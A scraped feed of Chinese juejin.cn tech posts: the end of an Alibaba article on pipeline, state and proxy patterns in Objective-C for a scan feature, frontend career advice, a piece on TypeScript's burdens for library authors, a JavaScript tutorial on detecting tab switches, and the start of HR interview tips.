@property (nonatomic, strong) void(^throwDataBlock)(id data);
@end
复制代码

实现代码示例如下

@implementation TBPipelineManager
- (TBPipelineManager *(^)(id<TBPipelineDataCreatorDelegate> dataCreator))addDataCreator {    
   @weakify
   return ^(id<TBPipelineDataCreatorDelegate> dataCreator) {
       @strongify
       if (dataCreator) {
          [self.dataGenArr addObject:dataCreator];
      }
       return self;
  };
}

- (TBPipelineManager *(^)(id<TBPipelineDelegate> pipeline))addPipeline {
   @weakify
   return ^(id<TBPipelineDelegate> pipeline) {
       @strongify
       if (pipeline) {
          [self.pipelineArr addObject:pipeline];
           
           //每一次add的同时,我们做链式标记(通过runtime给每个处理加Next)
           if (self.pCurPipeline) {
               NSObject *cur = (NSObject *)self.pCurPipeline;                
               cur.tb_nextPipeline = pipeline;
          }
           self.pCurPipeline = pipeline;
      }
       return self;
  };
}

- (void)setThrowDataBlock:(void (^)(id _Nonnull))throwDataBlock {
   _throwDataBlock = throwDataBlock;
   
   @weakify
   //Creator的数组,依次对 Block 回调进行赋值,当业务方调用此 Block 时,就是开始处理数据的时候    
  [self.dataGenArr enumerateObjectsUsingBlock:^(id<TBPipelineDataCreatorDelegate>  _Nonnull obj, NSUInteger idx, BOOL * _Nonnull stop) {
       obj.generateDataBlock = ^(id<TBPipelineBaseDataProtocol> data, NSInteger dataId) {                 @strongify
           data.dataId = dataId;
           //开始递归处理数据
          [self handleData:data];
      };
  }];
}

- (void)handleData:(id)data {
  [self recurPipeline:self.pipelineArr.firstObject data:data];
}

- (void)recurPipeline:(id<TBPipelineDelegate>)pipeline data:(id)data {
   if (!pipeline) {
       return;
  }
   
   //递归让pipeline处理数据
   @weakify
  [pipeline receiveData:data throwDataBlock:^(id  _Nonnull throwData) {
       @strongify
       NSObject *cur = (NSObject *)pipeline;
       if (cur.tb_nextPipeline) {
          [self recurPipeline:cur.tb_nextPipeline data:throwData];
      } else {
           !self.throwDataBlock?:self.throwDataBlock(throwData);
      }
  }];
}
@end
复制代码

处理单元 Pipeline

包含的功能和特点:

  1. 因为数据是基于业务的,所以它只被声明为一个 Protocol ,由上层实现。

API 代码示例如下

@protocol TBPipelineDelegate <NSObject>
//如果有错误,直接抛出
- (void)receiveData:(id)data throwDataBlock:(void(^)(id data))block;
@end
复制代码

上层业务代码示例如下

//以A类型码码处理单元为例
@implementation TBGen3Pipeline
- (void)receiveData:(id <TBCodeDataDelegate>)data throwDataBlock:(void (^)(id data))block {    
   TBScanResult *result = data.scanResult;
   NSString *scanType = result.resultType;
   NSString *scanData = result.data;
   
   if ([scanType isEqualToString:TBScanResultTypeA]) {
       //跳转逻辑
      ...
       //可以处理,终止递归
       BlockInPipeline();
  } else {
       //不满足处理条件,继续递归:由下一个 Pipeline 继续处理
       PassNextPipeline(data);
  }
}
@end
复制代码

业务层调用

有了上述的框架和上层实现,生成一个码处理管理就很容易且能达到解耦的目的,代码示例如下

- (void)setupPipeline { 
  //创建 manager 和 creator
  self.manager = TBPipelineManager.new;
  self.dataCreator = TBDataCreator.new;
   
  //创建 pipeline
  TBCodeTypeAPipelie *codeTypeAPipeline = TBCodeTypeAPipelie.new;
  TBCodeTypeBPipelie *codeTypeBPipeline = TBCodeTypeBPipelie.new;
  //...
  TBCodeTypeFPipelie *codeTypeFPipeline = TBCodeTypeFPipelie.new;
   
  //往 manager 中链式添加 creator 和 pipeline
  @weakify
  self.manager
  .addDataCreator(self.dataCreator)
  .addPipeline(codeTypeAPipeline)
  .addPipeline(codeTypeBPipeline)
  .addPipeline(codeTypeFPipeline)
  .throwDataBlock = ^(id data) {
      @strongify
      if ([self.proxyImpl respondsToSelector:@selector(scanResultDidFailedProcess:)]) {                   [self.proxyImpl scanResultDidFailedProcess:data];
      }
  };
}
复制代码

状态模式

image.png

image.png

回头来看下码展示的逻辑,这是我们用户体验优化的一项重要内容。码展示的意思是对于当前帧/图片,识别到码位置,我们进行锚点的高亮并跳转。这里包含三种情况:

  1. 未识别到码的时候,无锚点展示

  2. 识别到单码的时候,展示锚点并在指定时间后跳转

  3. 识别到多码额时候,展示锚点并等待用户点击

可以看到,这里涉及到简单的展示状态切换,这里就引出改造的第二步:状态模式

image.png

状态模式是一种行为设计模式, 能在一个对象的内部状态变化时改变其行为, 使其看上去就像改变了自身所属的类一样。

本文设计的状态模式,包含两部分:

  1. 状态的信息 StateInfo

  2. 状态的基类 BaseState

两者结构如图所示

image.png

状态的信息 StateInfo

包含的功能和特点:

  1. 当前上下文仅有一种状态信息流转

  2. 业务方可以保存多个状态键值对,状态根据需要执行相应的代码逻辑。

状态信息的声明和实现代码示例如下

@interface TBBaseStateInfo : NSObject {
   @private
   TBBaseState<TBBaseStateDelegate> *_currentState; //记录当前的 State
}
//使用当前的 State 执行
- (void)performAction;
//更新当前的 State
- (void)setState:(TBBaseState <TBBaseStateDelegate> *)state;
//获取当前的 State
- (TBBaseState<TBBaseStateDelegate> *)getState;
@end

@implementation TBBaseStateInfo
- (void)performAction {
   //当前状态开始执行
  [_currentState perfromAction:self];
}
- (void)setState:(TBBaseState <TBBaseStateDelegate> *)state {
   _currentState = state;
}
- (TBBaseState<TBBaseStateDelegate> *)getState {
   return _currentState;
}
@end
复制代码

上层业务代码示例如下

typedef NS_ENUM(NSInteger,TBStateType) {
TBStateTypeNormal, //空状态
TBStateTypeSingleCode, //单码展示态
TBStateTypeMultiCode, //多码展示态
};

@interface TBStateInfo : TBBaseStateInfo
//以 key-value 的方式存储业务 type 和对应的状态 state
- (void)setState:(TBBaseState<TBBaseStateDelegate> *)state forType:(TBStateType)type;
//更新 type,并执行 state
- (void)setType:(TBStateType)type;
@end

@implementation TBStateInfo

- (void)setState:(TBBaseState<TBBaseStateDelegate> *)state forType:(TBStateType)type {
[self.stateDict tb_setObject:state forKey:@(type)];
}

- (void)setType:(TBStateType)type {
id oldState = [self getState];
//找到当前能响应的状态
id newState = [self.stateDict objectForKey:@(type)];
//如果状态未发生变更则忽略
if (oldState == newState)
return;
if ([newState respondsToSelector:@selector(perfromAction:)]) {
[self setState:newState];
//转态基于当前的状态信息开始执行
[newState perfromAction:self];
}
}
@end
复制代码

状态的基类 BaseState

包含的功能和特点:

  1. 定义了状态的基类

  2. 声明了状态的基类需要遵循的 Protocol

Protocol 如下,基类为空实现,子类继承后,实现对 StateInfo 的处理。

@protocol TBBaseStateDelegate <NSObject>
- (void)perfromAction:(TBBaseStateInfo *)stateInfo;
@end
复制代码

上层(以单码 State 为例)代码示例如下

@interface TBSingleCodeState : TBBaseState
@end

@implementation TBSingleCodeState

//实现 Protocol
- (void)perfromAction:(TBStateInfo *)stateAction {
   //业务逻辑处理 Start
  ...
   //业务逻辑处理 End
}

@end
复制代码

业务层调用

以下代码生成一系列状态,在合适时候进行状态的切换。

//状态初始化
- (void)setupState {
   TBSingleCodeState *singleCodeState =TBSingleCodeState.new; //单码状态
   TBNormalState *normalState =TBNormalState.new; //正常状态
   TBMultiCodeState *multiCodeState = [self getMultiCodeState]; //多码状态
   
  [self.stateInfo setState:normalState forType:TBStateTypeNormal];
  [self.stateInfo setState:singleCodeState forType:TBStateTypeSingleCode];
  [self.stateInfo setState:multiCodeState forType:TBStateTypeMultiCode];
}

//切换常规状态
- (void)processorA {
   //...
  [self.stateInfo setType:TBStateTypeNormal];
   //...
}

//切换多码状态
- (void)processorB {
   //...
  [self.stateInfo setType:TBStateTypeMultiCode];
   //...
}

//切换单码状态
- (void)processorC {
   //...
  [self.stateInfo setType:TBStateTypeSingleCode];
   //...
}
复制代码

最好根据状态机图编写状态切换代码,以保证每种状态都有对应的流转。

次态→ 初态↓状态A状态B状态C
状态A条件A......
状态B.........
状态C.........

代理模式

图片

在开发过程中,我们会在越来越多的地方使用到上图能力,比如「淘宝拍照」的相册中、「扫一扫」的相册中,用到解码码展示码处理的能力。

因此,我们需要把这些能力封装并做成插件化,以便在任何地方都能够使用。这里就引出了我们改造的第三步:代理模式。

代理模式是一种结构型设计模式,能够提供对象的替代品或其占位符。代理控制着对于原对象的访问, 并允许在将请求提交给对象前后进行一些处理。 本文设计的状态模式,包含两部分:

  1. 代理单例 GlobalProxy

  2. 代理的管理 ProxyHandler

两者结构如图所示

图片

代理单例 GlobalProxy

单例的目的主要是减少代理重复初始化,可以在合适的时机初始化以及清空保存的内容。单例模式对于 iOSer 再熟悉不过了,这里不再赘述。

代理的管理 Handler

维护一个对象,提供了对代理增删改查的能力,实现对代理的操作。这里实现 Key - Value 的 Key 为 Protocol ,Value 为具体的代理。

代码示例如下

+ (void)registerProxy:(id)proxy withProtocol:(Protocol *)protocol {
   if (![proxy conformsToProtocol:protocol]) {
       NSLog(@"#TBGlobalProxy, error");
       return;
  }
   if (proxy) {
      [[TBGlobalProxy sharedInstance].proxyDict setObject:proxy forKey:NSStringFromProtocol(protocol)];
  }
}

+ (id)proxyForProtocol:(Protocol *)protocol {
   if (!protocol) {
       return nil;
  }
   id proxy = [[TBGlobalProxy sharedInstance].proxyDict objectForKey:NSStringFromProtocol(protocol)];
   return proxy;
}

+ (NSDictionary *)proxyConfigs {
   return [TBGlobalProxy sharedInstance].proxyDict;
}

+ (void)removeAll {
  [TBGlobalProxy sharedInstance].proxyDict = [[NSMutableDictionary alloc] init];
}
复制代码

业务层的调用

所以不管是什么业务方,只要是需要用到对应能力的地方,只需要从单例中读取 Proxy,实现该 Proxy 对应的 Protocol,如一些回调、获取当前上下文等内容,就能够获取该 Proxy 的能力。

//读取 Proxy 的示例
- (id <TBScanProtocol>)scanProxy {
   if (!_scanProxy) {
       _scanProxy = [TBGlobalProxy proxyForProtocol:@protocol(TBScanProtocol)];
  }
   _scanProxy.proxyImpl = self;
   return _scanProxy;
}

//写入 Proxy 的示例(解耦调用)
- (void)registerGlobalProxy {
   //码处理能力
  [TBGlobalProxy registerProxy:[[NSClassFromString(@"TBScanProxy") alloc] init]                                   withProtocol:@protocol(TBScanProtocol)];
   //解码能力
  [TBGlobalProxy registerProxy:[[NSClassFromString(@"TBDecodeProxy") alloc] init]                                 withProtocol:@protocol(TBDecodeProtocol)];}
复制代码

扫一扫新架构

基于上述的改造优化,我们将原扫一扫架构进行了优化:将逻辑&展现层进行代码分拆,分为属现层、逻辑层、接口层。已达到层次分明、职责清晰、解耦的目的。

image.png

总结

上述沉淀的三个设计模式作为扫拍业务的 Foundation 的 Public 能力,应用在镜头页的业务逻辑中。

通过此次重构,提高了扫码能力的复用性,结构和逻辑的清晰带来的是维护成本的降低,不用再大海捞针从代码“巨无霸”中寻找问题,降低了开发人日。


作者:阿里巴巴大淘宝技术
来源:https://juejin.cn/post/7127858822395199502

收起阅读 »

在阿里做前端程序员,我是这样规划的

web
许多前端工程师工作超过了3年之后会遇到一个迷茫期,我跟很多前端从业人也聊过,有一部分人说想做开源项目推广出去(类似react,vue)变成前端网红。有些说想去创业。往往更长远的职业发展规划考虑的很少。我希望把自己工作经历和在阿里学到的东西分享给大家,作为一个案...
继续阅读 »

许多前端工程师工作超过了3年之后会遇到一个迷茫期,我跟很多前端从业人也聊过,有一部分人说想做开源项目推广出去(类似react,vue)变成前端网红。有些说想去创业。往往更长远的职业发展规划考虑的很少。我希望把自己工作经历和在阿里学到的东西分享给大家,作为一个案例解答有关职业发展的困扰。

此文来自一次团队内的分享。我是来自大淘宝技术内容前端团队的胤涧,负责内容中台技术。我的习惯是每个新财年初都会进行一次分享《HOW TO BE AN EMINENT ENGINEER》,聊聊目前团队阵型、OKR、业务和技术大图,聊聊我作为程序员的规划。

此文仅记录【我作为程序员的规划】的内容。

前端程序员常问的几个问题


第一,譬如一个校招生在阿里工作了两三年,整体技术能力还保持在一个上升期,但在沟通交流做事上却始终没有脱离“学生气”,似乎还未毕业

第二,技术更新迭代非常快,特别是前端领域,这几年不断都有新技术出来。每每夜深人静的时候,会发现很少有能真正沉淀下来的技术。

第三,关于技术深度。我经历过晋升失败,其中“技术深度不够”这句评语让我印象深刻。当时沟通完,走出会议室我低着头不停地问自己到底技术深度要深入到什么层度才算足够。作为前端,我们在公司更多的是写页面,实现UI的优化,提升页面的性能,即便我们做的产品非常成功,成功点在哪儿?可能是UI设计得漂亮,也可能是推荐算法精确,而前端的产出给产品带来了什么?阿里有健全的体系,有良师益友。离开了这个大平台,我能做什么?

我发展的三个阶段

入职阿里,经历不同的BU和部门,我一直在寻找职业发展的答案。

到目前为止,我把我的职业生涯分为三个阶段:一技之长,独立做事,寻找使命。


一技之长分为:栈内技术、栈外技术、工程经验、带人做事、业内影响。

第一阶段:一技之长


栈内技术

栈内技术是指你的专业领域技术,对于前端来说,就是那些我们熟悉的js等基础,深入了解我们的程序所运行的宿主环境——浏览器 or NODE,能了解v8运行时发生的一切。

前端没有秘密,所有可访问的页面都近似于开源,所以检验栈内技术的标准就是看你是否能最终形成技术上的“白眼”——看到任何前端产品都有看穿它的自信。栈内技术是安身立命的根本,不要轻易“换方向”。


始终不要放弃作为前端的一技之长。遇到一些前端同学工作几年以后前端做得比较熟了,考虑转到其他岗位,去做音视频技术,或者跨度更大的去做产品,运营。但我想说,当你转行那一刻起,就把要转的领域变成你新的“栈内技术”,然后重新走一遍技术沉淀的过程,匆匆几年又过去了。

前端是可以长时间坚持的领域,现在新型的软件生态,例如web3,以太坊,都会首先瞄准JS开发者,因为有庞大的开发者群体,工具链也比较完善,所以长期坚持从事前端工作,在可预见的未来都不会“过时”。


栈外技术

栈外技术是指栈内技术的上下游,领域外的相关专业知识,包括但不限于服务端技术、运维、CDN、测试,甚至UI设计、产品设计等等。扩展你栈内技术的周围领域,充分理解你的工作在整个技术研发体系中处于怎样的环节。工作之余多投入一份精力,把其他栈外技术不断纳入到你的知识体系中来,建立栈外能力。

前端想要做得深入,往往会涉及到服务端、网络、机器学习、用户体验等知识,没有足够的栈外技术积累,你很难为自己的团队争取到足够的话语权。


工程经验

工程经验是指建设专业技术体系的“解决方案”。通俗说,就是做事的方法论,掌握从0到1,1到60,甚至60到100分阶段建设专业技术体系的过程。

工程经验涉及到技术选型、架构设计、性能优化,CI/CD,日志监控、系统测试等,这些是跟工程相关的方法论。

很多同学会说,没有时间去研究新技术,那么多反问一下自己,为什么没有在自己的业务上争取新技术落地。


很多的工程师没有总结自己工程经验的能力,特别是在做业务多年之后,觉得技术能力一直在倒退。决定你比别人更有专业价值的,是领域工程经验。你看过再多的文章,如果没真正实操都不能称之为“掌握”。所以我建议要想掌握足够丰富的工程经验,需要在业务中多争取实践的机会。


带人做事

带人做事之前三项都是个人专业技能方面的深度要求,带人做事是对团队协作能力的要求。我第一次带师弟的时候经常有这种感觉:需要多次沟通需求,对焦技术方案。我跟他沟通花的时间都能把代码写好了。

带人做事,是把自己擅长的事情,沉淀下来的思考方式传递给他人,实现1+1>2的生产力提升,让整个团队的产出高于自己。

这个阶段大家要特别注意“管”与“带”的区别。以我的愚见:所谓“管”是我不懂某个领域,但我知道你懂,所以我安排你去做;而“带”则是"我特别懂这个领域,我知道你不懂,我会教你做得更好",有点授之以渔,成就他人的意思。带好一个人或者带起一支有战斗力的团队,是做人做事成熟的表现。


这两年我也在思考如何能激发他人的能力。我想起我的老板们及和我1v1沟通的同事们对我的帮助,他们都非常善于用反问来引导我。提问的深度特别能体现一个人的能力水平,任何用于提要求的陈述句,都能转换成疑问句,在启发萌新的过程中植入对结果的约束。

当你让一个人做A的时候,他提出了方案B。你不要强行扭转对方的思路提出A,因为对于新人来讲,或许确实不能一步到位理解A方案,在他的能力约束下,只能想到B。要尽量尝试把A和B之间有差异的地方转换成提问,你问他遇到这个问题怎么解决,遇到那个问题怎么解决,一直问到形成A,他会带着思考去做事情。如果没有这个过程,没有让他思维演化的过程,虽然他收到了A的指令,但是他不理解,他会用别的方式做出来,最后得出来一个C,然后你又重构一遍,陷入一个怪圈不能自拔,这就是我以前的误区,

所以我现在特别注重提问的艺术。但是一切的前提是:你需要对事情有好的认知。按照张一鸣的观点就是:对一件事情认知决定了一件事情的高度。


业内发声

如果你前面做得非常好,那把自己的工作经验总结对外发布,与他人交流,碰撞思想,看到更高的山峰,然后修正自己的想法,日益完善,是能走得更远的一种方式。

有的时候需要把自己的思想放到业界的层面验证,大家好才是真的好。如果别人不认可你的这套思路,基本上你也可以判定自己没有达到一个更高的水平。

对外分享的目的不是为了show quali,而是为了听取别人的意见,达到自我成长。永远不要放弃一技之长,没有所谓的转行或者转型,永远坚持你最初的领域,扩充你的外延,最终达成比较全面的能力,坚持是成功ROI最高的一种方式。


第二阶段:独立做事

第二个阶段是独立做事,也是我这一两年的命题。在我不断试错的过程中,我把他分为了:独立交付,独立带人,独立带团队,独立做业务,独立活下来。独立不等于独自,独立是指今天公司给你配套的资源,你能完成公司给你的项目,且拿下好结果,俗称“带团队”。


独立交付

独立交付是指给你一个项目能自己完成推进且上线,不让别人给你擦屁股就可以了。更加强调整体项目管理上的能力,拿结果的能力。


独立带人/带团队

进入到独立带人/带团队这个阶段,要关注的更多,整个团队的氛围、工作效率,运用你一技之长的工程经验带领团队高效优质的产出成果,实现1+1>2。做好团队的两张大图,业务大图&技术大图。让团队的同学知道自身的发展主线。工作开心了,团队稳定性才高。


独立做业务&独立生存

团队稳定之后,开始关注所做的业务,行业的发展,理解你的用户,他们是谁,他们在哪,他们为什么使用你的产品,为团队指引下一步的产研方向。最高境界就是能带领一群人养活自己,独立生存下来。这里面至少要有商业眼光,深知你所处的行业的商业玩法,还要能玩得转。如果能很好的解决这个问题,我相信各位都混的挺好的。


独立做事每个阶段,都是一次比较大的跨越,需要思想和多种软素质发生较大的变化,抛开技术人的身份不讲,独立做事的几个阶段,也是一个人逐渐成熟的过程。如果有扎实的一技之长,又能独立活下来,我肤浅的认为程序员35的危机应该不再有。


第三阶段:寻找使命

寻找使命,实现自我价值。是创业还是跳槽?是要生活还是工作?该如何平衡?我现在还是云里雾里的,还在探索,留一个开放的问题让感兴趣的同学讨论。


最后用莫泊桑的话来结尾:“生活不可能像你想象得那么好,但也不会像你想象得那么糟。我觉得人的脆弱和坚强都超乎自己的想象。有时,我可能脆弱得一句话就泪流满面,有时,也发现自己咬着牙走了很长的路”。在这里工作就是这样,但我坚信明天会更好。


作者:阿里巴巴大淘宝技术
来源:juejin.cn/post/7132745736696889351

收起阅读 »

TypeScript遭库开发者嫌弃:类型简直是万恶之源

web
类型白白耗费了太多宝贵时间。在今年《2022 前端开发者现状报告》中显示, 84% 受访者表示使用过 TypeScript,可见这门语言已被越来越多的前端开发者所接受。他们表示,TypeScript 让 Web 开发变得轻松——不用在 IDE 和浏览器之间来回...
继续阅读 »

类型白白耗费了太多宝贵时间。

在今年《2022 前端开发者现状报告》中显示, 84% 受访者表示使用过 TypeScript,可见这门语言已被越来越多的前端开发者所接受。他们表示,TypeScript 让 Web 开发变得轻松——不用在 IDE 和浏览器之间来回多次切换,来猜测为什么“undefined is not a function”。

然而,本周 redux-saga 的工程师 Eric Bower 却在一篇博客中提出了不同意见,他站在库开发者的角度,直言“我很讨厌 TypeScript”,并列举了五点理由。这篇博客发布后,随即引发了赞同者和反对者的激烈讨论,其中,反对者主要认为文中的几点理由只能作为开发人员的意见,而且并没有提供证明实质性问题的具体例子。



redux-saga 是一个 库(Library),具体来说,大部分情况下,它是以 Redux 中间件的形式而存在,主要是为了更优雅地管理 Redux 应用程序中的副作用(Side Effects)。

以下为 Eric 原文译文:

作为端开发者,其实我挺喜欢 TypeScript,它大大削减了手动编写自动化测试的需求,把劳动力解放出来投入到更能创造价值的地方。总之,任何能弱化自动化测试工作量的技术,都是对生产力的巨大提升。

但从库开发的角度来看,我又很讨厌 TypeScript。它烦人的地方很多,但归根结底,TypeScript 的原罪就是降低库开发者的工作效率。从本质上讲,TypeScript 就是把复杂性从端开发者那转移给了库开发者,最终显著增加了库开发流程侧的工作负担。

说明文档

端开发者可太幸福了,TypeScript 给他们准备了完备的说明文档和博文资料。但在库开发者这边,可用的素材却很少。我能找到的最接近库开发需求的内容,主要集中在类型操作上面。

这就让人有种强烈的感觉,TypeScript 团队觉得库开发者和端开发者并没什么区别。当然有区别,而且很大!

为什么 TypeScript 的网站上没有写给库开发者的指南?怎么就不能给库开发者准备一份推荐工具清单?

很多朋友可能想象不到,为了在 Web 应用和库中找到“恰如其分”的类型,我们得经历怎样的前列。对端开发者来说,Web 应用开发基本不涉及条件类型、类型运算符和重载之类的构造。

但库开发者却经常跟这些东西打交道,因为这些构造高度动态,会把逻辑嵌入到类型当中。这就让 TypeScript 调度起来令人头痛万分。

调试难题

库开发者是怎么对高度动态、大量使用的条件类型和重载做调试的?基本就是硬着头皮蛮干,祈祷能顺利跑通。唯一指望得上的,就是 TypeScript 编辑器和开发者自己的知识储备。换个类型,再看看最终结果,如此循环往复。据我所知,大家似乎都是在跟着感觉走,并没有任何稳定可靠的科学方法。

对了,库开发者经常会用到 TypeScript playground,用来隔离掉类型逻辑中那些离散的部分,借此找出 TypeScript 解析为某种类型的原因。Playground 还能帮助我们轻松切换 TypeScript 的版本和配置。

但这还不够,远远不够。我们需要更称手的生产工具。

太过复杂

我跟 redux 打过不少交道,redux-toolkit 确实是个很棒的库,开发者可以用它查看实际代码库中的类型是如何正确完成的。而问题在于,虽然它能把类型搞得很清楚,但复杂度也同样惊人。

  1. createAction #1

  2. createAction #2

这还只是一例,代码库中充斥着更多复杂的类型。此外,大家还要考虑到类型和实际代码数量。纯从演示出发、忽略掉导入的代码,该文件中只有约 10% 的代码(在全部 330 行中只占 35 行)能被转译成 JavaScript。

编码指南经常建议开发者不要使用嵌套三元组。但在 TypeScript 中,嵌套三元组成了根据其他类型缩减类型范围的唯一方法。是不是闹呢……

测 试

因为可以从其他类型生成类型,而且各类型都有很高的动态特性,所以任何生产级别的 TypeScript 项目都得经历专门的一类测试:类型测试。而且单纯对最新版本的 TypeScript 编译器进行类型测试还不够,必须针对以往的各个版本全部测试。

这种新的测试形式才刚刚起步,可用工具少得可怜,而且相当一部分要么被放弃了、要么只保持着最基本的维护。我之前用过的库有:

  1. DefinitelyTyped-tools

  2. sd

  3. dtslint (moved)

  4. typings-checker (deprecated)

看得出来,类型测试工具的流失率很高。而且因为难以迁移,我有些项目直到现在还在使用早就被弃用的库。

当然,其中的 dtslint 和 tsd 算是相对靠谱,但它们互为补充、而非择一即可。为什么我们需要两款工具才能完成同一类工作?这个问题很难回答,实际使用体验也是相当难受。

维 护

类型会给库添加大量代码。在初次为某个项目做贡献时,首先需要了解应用程序逻辑和类型逻辑,这直接就让很多打算参与的朋友望而却步了。我就帮忙维护过 redux-saga,项目近期发布的 PR 和 issue 主要就集中在类型身上。

我发现相较于编写库代码,我花在类型调整上的时间要多得多。

我精通 TypeScript,但还没到专家那个水平。在经历了几年的 TypeScript 编程之后,作为一名库开发者,我还是觉得自己用不明白 TypeScript。所以,精通好像成了 TypeScript 的准入门槛。这里的万恶之源就是类型,它让 js 库维护变得困难重重,断绝了后续开发者的贡献参与通道。

总 结

我认可 TypeScript 的成绩,也钦佩它背后的开发团队。TypeScript 的出现彻底改变了前端开发的格局,任何人都不能忽视这份贡献。

但作为库开发者,我们需要:

  1. 更好的说明文档。

  2. 更好的工具。

  3. 更易用的 tsc。

不管怎么说,靠研究 TypeScript 编译器源代码才能搞清楚一段代码为什么会被解析成特定类型,也实在是太离谱了。

原文链接:

https://erock.prose.sh/typescript-terrible-for-library-developers

收起阅读 »

监听浏览器切屏功能实现

前言由于在公司大部分时间都是在做考试系统,监听用户在考试期间的切屏操作并上报是比较常见的需求,本文主要是是实现这个需求并做个总结,下面就是我当初实现此需求的思路历程,希望能够帮到各位。文中的代码片段在后面可以直接在线预览第一版实现需求经过在网上搜寻一堆资料,首...
继续阅读 »

前言

由于在公司大部分时间都是在做考试系统,监听用户在考试期间的切屏操作并上报是比较常见的需求,本文主要是是实现这个需求并做个总结,下面就是我当初实现此需求的思路历程,希望能够帮到各位。

文中的代码片段在后面可以直接在线预览

第一版实现需求

经过在网上搜寻一堆资料,首先我们可以先看到 visibilitychange 这个 API,在 MDN 中给它的定义是:当其选项卡的内容变得可见或被隐藏时,会在文档上触发 **visibilitychange**(能见度变更)事件。
划重点❗ :选项卡
仔细一想,欸!这不就是我们想要的功能,下面就开始愉快的敲代码吧。
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8" />
<meta http-equiv="X-UA-Compatible" content="IE=edge" />
<meta name="viewport" content="width=device-width, initial-scale=1.0" />
<title>Document</title>
</head>
<script>
let pageSwitchRecord = [];
let ul = document.createElement('ul');

document.addEventListener('visibilitychange', function () {
if (document.hidden) {
document.title = '用户切屏啦';

let record = {
time: new Date().getTime(),
type: 'leave'
};

// 这里可以根据自己项目的需求进行自定义操作,例如上报后台、提示用户等等

let li = document.createElement('li');
li.className = 'leave'
li.innerText = `用户在${record.time}切走了`;
ul.appendChild(li);

pageSwitchRecord.push(record);
} else {
document.title = '用户回来啦';

let record = {
time: new Date().getTime(),
type: 'enter'
};

// 这里可以根据自己项目的需求进行自定义操作

let li = document.createElement('li');
li.className = 'enter'
li.innerText = `用户在${record.time}回来了,耗时${record.time - pageSwitchRecord[pageSwitchRecord.length - 1].time}ms`;
ul.appendChild(li);

pageSwitchRecord.push(record);
}
document.body.appendChild(ul);
});
</script>
<body></body>
</html>

以上就是根据 visibitychange 完成的第一版简易监听浏览器切屏功能。
就是在自测过程我们就能发现这方法也不能监听所有的浏览器切屏事件啊,就像下面两种情况

  • 直接使用 ALT+TAB 键切换不同的应用时并不会触发上面的方法;
  • 打开浏览器调试面板后,在调试面板中进行任意操作也是不会触发上的方法。
这里就要回到上面👆划的重点——选项卡,也就是说这个 API 只能监听到浏览器标签页的可见状态是否发生变化,当整个浏览器切入后台时也并不会触发,当然在标签页的调试面板里的任意操作可不会监听到,因为本质上标签页的可见状态并没有发上变化。
使用 visibilitychange 时需要注意的点❗ :
  • 微信内置的浏览器因为没有标签,所以不会触发该事件
  • 手机端直接回到桌面,也不会触发该事件
  • PC端浏览器失去焦点不会触发该事件,但是最小化或回到桌面会触发

第二版实现需求

这一版的实现就是我目前项目中使用的方案,当元素得到焦点和失去焦点都会触发 focus 和 blur 事件,那么可不可以直接给 window 加上这两个事件的监听器呢?话不多说,直接开始试试吧。

<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8" />
<meta http-equiv="X-UA-Compatible" content="IE=edge" />
<meta name="viewport" content="width=device-width, initial-scale=1.0" />
<title>Document</title>
</head>
<script>
let pageSwitchRecord = [];
let ul = document.createElement('ul');

const leave = () => {
document.title = '用户切屏啦';

let record = {
time: new Date().getTime(),
type: 'leave'
};

// 这里可以根据自己项目的需求进行自定义操作,例如上报后台、提示用户等等

let li = document.createElement('li');
li.className = 'leave';
li.innerText = `用户在${record.time}切走了`;
ul.appendChild(li);

pageSwitchRecord.push(record);

document.body.appendChild(ul);
};

const enter = () => {
document.title = '用户回来啦';

let record = {
time: new Date().getTime(),
type: 'enter'
};

// 这里可以根据自己项目的需求进行自定义操作

let li = document.createElement('li');
li.className = 'enter';
li.innerText = `用户在${record.time}回来了,耗时${
record.time - pageSwitchRecord[pageSwitchRecord.length - 1].time
}ms`;
ul.appendChild(li);

pageSwitchRecord.push(record);
document.body.appendChild(ul);
};

window.addEventListener('blur', leave);
window.addEventListener('focus', enter);
</script>
<body></body>
</html>

上面就是第二版实现需求的完整代码,可以看到处理用户切屏的逻辑都是一样的,区别在于监听浏览器切屏的方法,第二种采用的是监听 blur 和 focus 这两个事件去相互配合实现的。

预览

第一种方案



补充

第二种相较于第一种实现方式有更加灵敏的监听,但是有可能在部分使用场景下会误触,为了保持准确性可以第一种和第二种方案配合使用
使用 visibilitychange 时,为了保证兼容性,请使用 document.addEventListener 来注册回调,




链接:https://juejin.cn/post/7135355487955976223


收起阅读 »

那些HR不会告诉你的面试“潜规则”

从公司的角度来说,总会有一些不会明确表达的“潜规则”,因此,提前知道有助于我们通过面试。简历筛选,关键词很重要HR是用关键词做简历筛选的,如果你的简历含有这些词,就更加容易被搜索到,得到更多曝光机会。比如运营岗,有些公司直接叫做运营,还有些公司叫做“企划”“策...
继续阅读 »

今年的金三银四虽较之往年有些暗淡,但是也不乏一些小伙伴迎难而上,寻求新机遇,尝试跳槽,并得到几家意向公司的面试机会。机会难得,面试时更要好好把握。

从公司的角度来说,总会有一些不会明确表达的“潜规则”,因此,提前知道有助于我们通过面试。



简历筛选,关键词很重要


HR是用关键词做简历筛选的,如果你的简历含有这些词,就更加容易被搜索到,得到更多曝光机会。


比如运营岗,有些公司直接叫做运营,还有些公司叫做“企划”“策划”“督导”等等,不管你的职位在公司内部被怎么定义,简历里,你最好使用通用名称,并且在工作描述时,多使用相关描述的词。


销售岗是一般公司招聘最多的职位,有经验的HR不仅仅使用“销售”这个词搜索简历,还会使用“销售专员”、“销售助理”、“销售主管”、“营销经理”、“销售顾问”等词扩大搜索范围。


而在简历描述中,包含“有销售经验”、“有强烈赚钱欲望”、“乐观外向学习力强”等符合职位要求的词语,更容易通过筛选。


大部分人的简历,要么过于简单,要么长篇大论、没有重点的,非常关注的信息一定要在简历中写清楚,比如双休、五险一金、不接受晚班、薪资要求范围等,最好直接在简历中写明白,避免接到许多不合适公司的电话。尤其是个人居住小区最好也在简历中标注出来,写在能接受的工作范围内,因为某些区域的范围是很大的,如果直接写能接受的范围,可能出现以下状况:距离太远,或者虽然不远却需要转车,这就浪费了双方的时间,还有可能使你错过附近的好公司。


而HR一般都会看一下求职者的距离,尽量邀请通勤时间在一定时间内的求职者,同样的条件下优先选择住在附近的,因此,明确的居住地址有利于双方节省时间。


综合以上,HR还倾向于重点关注自己筛选出来的简历,而不是投递的简历,正像一个道理说的那样:“你若盛开,清风自来”,用你的优秀简历吸引HR,比主动投递简历更有效果。






电话沟通“三要三不要”


